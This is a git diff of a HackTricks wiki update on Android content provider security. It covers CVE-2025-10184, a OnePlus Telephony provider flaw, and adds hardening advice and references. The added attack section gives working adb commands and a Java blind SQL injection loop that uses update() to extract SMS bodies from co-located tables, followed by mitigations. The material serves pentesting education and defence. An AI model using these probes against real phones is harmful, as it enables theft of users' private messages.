mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge pull request #1429 from HackTricks-wiki/update_CVE-2025-10184__OnePlus_OxygenOS_Telephony_provide_20250924_125101
CVE-2025-10184 OnePlus OxygenOS Telephony provider permissio...
This commit is contained in:
commit
a96eb96d2e
@ -322,6 +322,12 @@ To understand a receiver's functionality, look for the **`onReceive`** method wi
|
|||||||
|
|
||||||
Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: `insert()`, `update()`, `delete()`, and `query()`, facilitating data manipulation and sharing among applications.
|
Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: `insert()`, `update()`, `delete()`, and `query()`, facilitating data manipulation and sharing among applications.
|
||||||
|
|
||||||
|
### Permission semantics and pitfalls (Content Providers)
|
||||||
|
|
||||||
|
- If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider.
|
||||||
|
- Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates.
|
||||||
|
- Prefer android:exported="false" unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern.
|
||||||
|
|
||||||
**FileProvider**, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by `android:exported` and `android:resource` pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently.
|
**FileProvider**, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by `android:exported` and `android:resource` pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently.
|
||||||
|
|
||||||
Example manifest declaration for FileProvider:
|
Example manifest declaration for FileProvider:
|
||||||
@ -500,6 +506,11 @@ Tools / scripts that speed-up Binder reconnaissance:
|
|||||||
- [Android Developer Docs – AIDL](https://developer.android.com/guide/components/aidl)
|
- [Android Developer Docs – AIDL](https://developer.android.com/guide/components/aidl)
|
||||||
- [Android Developer Docs – IBinder](https://developer.android.com/reference/android/os/IBinder)
|
- [Android Developer Docs – IBinder](https://developer.android.com/reference/android/os/IBinder)
|
||||||
- [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8)
|
- [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8)
|
||||||
|
- [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/)
|
||||||
|
- [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics)
|
||||||
|
- [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn)
|
||||||
|
- [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn)
|
||||||
|
- [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[]))
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
@ -157,6 +157,98 @@ Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/not
|
|||||||
sqlite_sequence
|
sqlite_sequence
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### writePermission omission + blind SQLi via update()
|
||||||
|
|
||||||
|
A common OEM mistake is to export a ContentProvider with a readPermission but omit writePermission. When writePermission is null, any app can call insert/update/delete if those methods are implemented. If update() concatenates the caller-controlled WHERE (selection) directly into an SQL statement, you can build a blind inference oracle and exfiltrate data from other tables in the same SQLite DB (even those normally protected by privileged read permissions like READ_SMS).
|
||||||
|
|
||||||
|
Key idea
|
||||||
|
- Exported provider, readPermission set, writePermission omitted
|
||||||
|
- update(uri, values, where, whereArgs) returns rows-affected; UNIQUE constraint errors also indicate a write attempt happened
|
||||||
|
- Attack controls WHERE to evaluate a Boolean expression over a subquery that reads secret data from co-located tables
|
||||||
|
- If the provider’s table is empty, insert() can be abused to seed a row so update() affects ≥1 row
|
||||||
|
|
||||||
|
Discovery workflow
|
||||||
|
- Enumerate exported providers and check perms:
|
||||||
|
- drozer: run app.provider.info -a <pkg>
|
||||||
|
- adb: aapt dump xmltree APK AndroidManifest.xml | grep -A5 "<provider"
|
||||||
|
- Look for providers with readPermission set but writePermission missing
|
||||||
|
- Confirm update() is implemented and selection is injectable (projection/selection/sortOrder often are; update() selection is commonly overlooked)
|
||||||
|
|
||||||
|
Co-location and schema probe (adb)
|
||||||
|
Use sqlite_master to verify the target table exists in the same DB file:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
adb shell cmd content query \
|
||||||
|
--uri content://service-number/service_number \
|
||||||
|
--where '(SELECT COUNT(*) FROM (SELECT tbl_name FROM sqlite_master WHERE tbl_name = "sms"))>0'
|
||||||
|
```
|
||||||
|
|
||||||
|
Seeding a row (if needed)
|
||||||
|
If update() returns 0 because the provider’s table is empty, insert a dummy row first. Many OEM providers accept arbitrary ContentValues with no validation:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
adb shell cmd content insert \
|
||||||
|
--uri content://service-number/service_number \
|
||||||
|
--bind hash_number:s:dummy
|
||||||
|
```
|
||||||
|
|
||||||
|
Blind Boolean oracle via update()
|
||||||
|
- Predicate template: 1=1 AND unicode(substr((<subquery>), <idx>, 1)) BETWEEN <lo> AND <hi>
|
||||||
|
- TRUE if update() > 0 or a UNIQUE constraint exception is thrown; FALSE otherwise
|
||||||
|
- Binary search [0..127] to recover each character
|
||||||
|
|
||||||
|
Minimal extraction loop (pseudocode)
|
||||||
|
```java
|
||||||
|
boolean probe(Uri uri, String where) {
|
||||||
|
ContentValues cv = new ContentValues();
|
||||||
|
cv.put("rowid", "123");
|
||||||
|
try {
|
||||||
|
return getContentResolver().update(uri, cv, where, null) > 0;
|
||||||
|
} catch (Exception e) {
|
||||||
|
return e.getMessage() != null && e.getMessage().contains("UNIQUE constraint failed");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
char leakChar(Uri uri, String subquery, int pos) {
|
||||||
|
int lo = 0, win = 127;
|
||||||
|
while (true) {
|
||||||
|
String where = String.format(
|
||||||
|
"1=1 AND unicode(substr((%s), %d, 1)) BETWEEN %d AND %d",
|
||||||
|
subquery, pos, lo, lo + win);
|
||||||
|
if (probe(uri, where)) {
|
||||||
|
if (win == 0) return (char) lo;
|
||||||
|
win = (win > 3) ? (win / 2) : (win - 1);
|
||||||
|
} else {
|
||||||
|
if (lo == 0 && win == 127) return '\0';
|
||||||
|
lo = (win > 0) ? (lo + win) : (lo + 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
adb example of a single probe
|
||||||
|
```bash
|
||||||
|
# Try to infer whether first char of latest SMS body is between '0'(48) and '9'(57)
|
||||||
|
adb shell cmd content update \
|
||||||
|
--uri content://service-number/service_number \
|
||||||
|
--bind rowid:s:123 \
|
||||||
|
--where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'
|
||||||
|
```
|
||||||
|
|
||||||
|
Notes
|
||||||
|
- Works only if the target table (e.g., sms) is in the same SQLite database used by the vulnerable provider
|
||||||
|
- insert()/update()/delete() must be callable by unprivileged apps (writePermission omitted)
|
||||||
|
- The exact URI and table names differ per OEM/provider; examples seen in the wild include:
|
||||||
|
- content://service-number/service_number
|
||||||
|
- content://push-mms/push
|
||||||
|
- content://push-shop/push_shop
|
||||||
|
|
||||||
|
Mitigations for app/ROM developers
|
||||||
|
- Always declare both readPermission and writePermission on exported providers; prefer android:exported="false" by default
|
||||||
|
- Sanitize or bind selection / projection / sortOrder; do not concatenate caller input into SQL
|
||||||
|
- Use SQLiteQueryBuilder with a projection map and fixed WHERE templates; validate column names against a whitelist
|
||||||
|
- Keep sensitive tables in a separate DB not shared with untrusted providers
|
||||||
|
|
||||||
## **File System-backed Content Providers**
|
## **File System-backed Content Providers**
|
||||||
|
|
||||||
Content providers could be also used to **access files:**
|
Content providers could be also used to **access files:**
|
||||||
@ -249,6 +341,11 @@ These changes in recent Android versions mean many legacy exploitation primitive
|
|||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
- [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/)
|
||||||
|
- [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics)
|
||||||
|
- [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn)
|
||||||
|
- [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn)
|
||||||
|
- [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[]))
|
||||||
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
|
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
|
||||||
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
|
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
|
||||||
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
|
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user